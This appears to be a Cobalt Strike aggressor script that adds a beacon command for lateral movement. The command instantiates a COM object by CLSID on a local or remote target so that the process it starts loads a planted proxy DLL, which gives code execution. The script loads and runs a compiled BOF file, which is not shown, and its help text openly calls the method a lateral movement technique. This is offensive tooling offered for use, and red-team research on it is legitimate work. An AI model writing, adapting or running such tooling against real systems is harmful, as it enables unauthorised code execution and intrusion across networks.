dllcomhijacking.cna 1.4 KB

12345678910111213141516171819202122232425262728293031323334353637383940
  1. # author REDMED-X
  2. beacon_command_register(
  3. "dllcomhijacking", "Leverage DLL Hijacking by instantiating a COM object on a target host",
  4. "INFO:\nInstantiate a COM object on a target host that will start the associated process which is vulnerable to DLL Hijacking. This allows for (remote) code execution and is therefore a good lateral movement technique.\nReminder: place the proxy DLL in the correct location before running this tool.\n\n" .
  5. "ARGUMENTS:\n[<CLSID>]: The CLSID of the COM class that is associated with the vulnerable process.\n[<target>]: The FQDN, hostname or IP of the target host (can be remote- or the local host).\n\n" .
  6. "USAGE:\ndllcomhijacking <CLSID> <target>\n\n" .
  7. "EXAMPLES:\ndllcomhijacking {73FDDC80-AEA9-101A-98A7-00AA00374959} target.example.local\n\n");
  8. alias dllcomhijacking {
  9. $bid = $1;
  10. $clsid = $2;
  11. $target = $3;
  12. if ($clsid eq "") {
  13. berror($bid, "Please specify one TEXT\n");
  14. return;
  15. }
  16. if ($target eq "") {
  17. berror($bid, "Please specify the TEXT.\n");
  18. return;
  19. }
  20. # Read in the right BOF file
  21. $handle = openf(script_resource("dllcomhijacking.o"));
  22. $data = readb($handle, -1);
  23. closef($handle);
  24. # Pack our arguments
  25. $arg_data = bof_pack($bid, "ZZ", $clsid, $target);
  26. blog($bid, "Tasked to instantiate a (remote) COM object..");
  27. beacon_inline_execute($bid, $data, "go", $arg_data);
  28. }